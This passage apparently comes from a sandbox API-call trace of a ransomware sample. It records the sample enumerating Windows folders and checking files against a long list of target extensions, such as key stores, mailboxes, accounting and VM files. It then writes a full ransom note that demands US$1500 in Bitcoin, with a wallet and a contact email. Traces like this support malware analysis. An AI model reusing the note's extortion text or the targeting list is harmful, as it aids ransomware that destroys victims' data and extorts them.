(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.asm") returned 0 [0124.387] lstrlenA (lpString="*.asm") returned 5 [0124.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.pfx") returned 0 [0124.387] lstrlenA (lpString="*.pfx") returned 5 [0124.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.pem") returned 0 [0124.387] lstrlenA (lpString="*.pem") returned 5 [0124.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.p12") returned 0 [0124.387] lstrlenA (lpString="*.p12") returned 5 [0124.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.gpg") returned 0 [0124.387] lstrlenA (lpString="*.gpg") returned 5 [0124.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.vsd") returned 0 [0124.387] lstrlenA (lpString="*.vsd") returned 5 [0124.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.odg") returned 0 [0124.387] lstrlenA (lpString="*.odg") returned 5 [0124.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.raw") returned 0 [0124.387] lstrlenA (lpString="*.raw") returned 5 [0124.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.nef") returned 0 [0124.388] lstrlenA (lpString="*.nef") returned 5 [0124.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.svg") returned 0 [0124.388] lstrlenA (lpString="*.svg") returned 5 [0124.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.psd") returned 0 [0124.388] lstrlenA (lpString="*.psd") returned 5 [0124.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.vmx") returned 0 [0124.388] lstrlenA (lpString="*.vmx") returned 5 [0124.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.vmdk") returned 0 [0124.388] lstrlenA (lpString="*.vmdk") returned 6 [0124.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.vdi") returned 0 [0124.388] lstrlenA (lpString="*.vdi") returned 5 [0124.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.lay6") returned 0 [0124.388] lstrlenA (lpString="*.lay6") returned 6 [0124.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.mpeg") returned 0 [0124.388] lstrlenA (lpString="*.mpeg") returned 6 [0124.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.djvu") returned 0 [0124.389] lstrlenA (lpString="*.djvu") returned 6 [0124.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.tiff") returned 0 [0124.389] lstrlenA (lpString="*.tiff") returned 6 [0124.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.backup") returned 0 [0124.389] lstrlenA (lpString="*.backup") returned 8 [0124.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.pdf") returned 0 [0124.389] lstrlenA (lpString="*.pdf") returned 5 [0124.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.cert") returned 0 [0124.389] lstrlenA (lpString="*.cert") returned 6 [0124.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.docm") returned 0 [0124.389] lstrlenA (lpString="*.docm") returned 6 [0124.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.xlsm") returned 0 [0124.389] lstrlenA (lpString="*.xlsm") returned 6 [0124.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.dwg") returned 0 [0124.389] lstrlenA (lpString="*.dwg") returned 5 [0124.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.nd") returned 0 [0124.389] lstrlenA (lpString="*.nd") returned 4 [0124.390] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.tlg") returned 0 [0124.390] lstrlenA (lpString="*.tlg") returned 5 [0124.390] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.lgb") returned 0 [0124.390] lstrlenA (lpString="*.lgb") returned 5 [0124.390] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.mov") returned 0 [0124.390] lstrlenA (lpString="*.mov") returned 5 [0124.390] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.xdw") returned 0 [0124.390] lstrlenA (lpString="*.xdw") returned 5 [0124.390] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.ods") returned 0 [0124.390] lstrlenA (lpString="*.ods") returned 5 [0124.390] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.wav") returned 0 [0124.390] lstrlenA (lpString="*.wav") returned 5 [0124.390] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.mp3") returned 0 [0124.390] lstrlenA (lpString="*.mp3") returned 5 [0124.390] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.aiff") returned 0 [0124.390] lstrlenA (lpString="*.aiff") returned 6 [0124.390] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.flac") returned 0 [0124.390] lstrlenA (lpString="*.flac") returned 6 [0124.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.m4a") returned 0 [0124.391] lstrlenA (lpString="*.m4a") returned 5 [0124.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.csv") returned 0 [0124.391] lstrlenA (lpString="*.csv") returned 5 [0124.391] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5326e270, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5326e270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5326e270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x2ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0124.391] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0124.391] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53248110, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5326e270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5326e270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6a565e7029d22fb974423ade195c819f", cAlternateFileName="6A565E~1")) returned 0 [0124.391] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0124.391] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7c4e150, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7c4e150, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7c4e150, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Xml.84e525b7#", cAlternateFileName="SYSTEM~1.84E")) returned 1 [0124.391] lstrcmpA (lpString1=".", lpString2="System.Xml.84e525b7#") returned -1 [0124.391] lstrcmpA (lpString1="..", lpString2="System.Xml.84e525b7#") returned -1 [0124.391] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0124.392] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Xml.84e525b7#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#" [0124.392] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#") returned 67 [0124.392] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7c4e150, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7c4e150, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7c4e150, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0124.392] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.392] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7c4e150, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7c4e150, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7c4e150, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.392] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.392] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.392] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7c4e150, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7c4e150, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7c4e150, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="f6079e54a0e3317ef2f507e692819102", cAlternateFileName="F6079E~1")) returned 1 [0124.392] lstrcmpA (lpString1=".", lpString2="f6079e54a0e3317ef2f507e692819102") returned -1 [0124.392] lstrcmpA (lpString1="..", lpString2="f6079e54a0e3317ef2f507e692819102") returned -1 [0124.392] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\*.*") returned="*.*" [0124.393] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\", lpString2="f6079e54a0e3317ef2f507e692819102" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102" [0124.393] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102") returned 100 [0124.393] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7c4e150, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7c4e150, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7c4e150, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0124.442] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.442] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7c4e150, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7c4e150, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7c4e150, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.442] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.442] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.442] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7c4e150, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7c4e150, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7c4e150, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Xml.Serialization.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0124.442] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.442] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Xml.Serialization.ni.dll") returned -1 [0124.442] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Xml.Serialization.ni.dll") returned -1 [0124.442] lstrcmpiA (lpString1="", lpString2="System.Xml.Serialization.ni.dll") returned -1 [0124.442] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\*.*") returned="*.*" [0124.442] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\" [0124.442] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\") returned="" [0124.442] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\HOW TO DECRYPT FILES.txt" [0124.443] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\how to decrypt files.txt")) returned 0xffffffff [0124.443] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0124.445] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0124.445] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0124.447] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0124.447] CloseHandle (hObject=0x90) returned 1 [0124.447] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\", lpString2="System.Xml.Serialization.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll" [0124.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.ems") returned 0 [0124.447] lstrlenA (lpString="*.ems") returned 5 [0124.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.db") returned 0 [0124.448] lstrlenA (lpString="*.db") returned 4 [0124.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.dbf") returned 0 [0124.448] lstrlenA (lpString="*.dbf") returned 5 [0124.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.myox") returned 0 [0124.448] lstrlenA (lpString="*.myox") returned 6 [0124.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.myo") returned 0 [0124.448] lstrlenA (lpString="*.myo") returned 5 [0124.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.qbw") returned 0 [0124.448] lstrlenA (lpString="*.qbw") returned 5 [0124.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.qbb") returned 0 [0124.448] lstrlenA (lpString="*.qbb") returned 5 [0124.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.qbm") returned 0 [0124.448] lstrlenA (lpString="*.qbm") returned 5 [0124.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.qbo") returned 0 [0124.448] lstrlenA (lpString="*.qbo") returned 5 [0124.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.qbx") returned 0 [0124.448] lstrlenA (lpString="*.qbx") returned 5 [0124.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.qba") returned 0 [0124.449] lstrlenA (lpString="*.qba") returned 5 [0124.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.qby") returned 0 [0124.449] lstrlenA (lpString="*.qby") returned 5 [0124.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.qbj") returned 0 [0124.449] lstrlenA (lpString="*.qbj") returned 5 [0124.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.ofx") returned 0 [0124.449] lstrlenA (lpString="*.ofx") returned 5 [0124.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.qif") returned 0 [0124.449] lstrlenA (lpString="*.qif") returned 5 [0124.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.mye") returned 0 [0124.449] lstrlenA (lpString="*.mye") returned 5 [0124.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.mbox") returned 0 [0124.449] lstrlenA (lpString="*.mbox") returned 6 [0124.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.eml") returned 0 [0124.449] lstrlenA (lpString="*.eml") returned 5 [0124.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.pst") returned 0 [0124.449] lstrlenA (lpString="*.pst") returned 5 [0124.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.ost") returned 0 [0124.449] lstrlenA (lpString="*.ost") returned 5 [0124.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.idx") returned 0 [0124.450] lstrlenA (lpString="*.idx") returned 5 [0124.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.dbx") returned 0 [0124.450] lstrlenA (lpString="*.dbx") returned 5 [0124.450] PathMatchSpecA 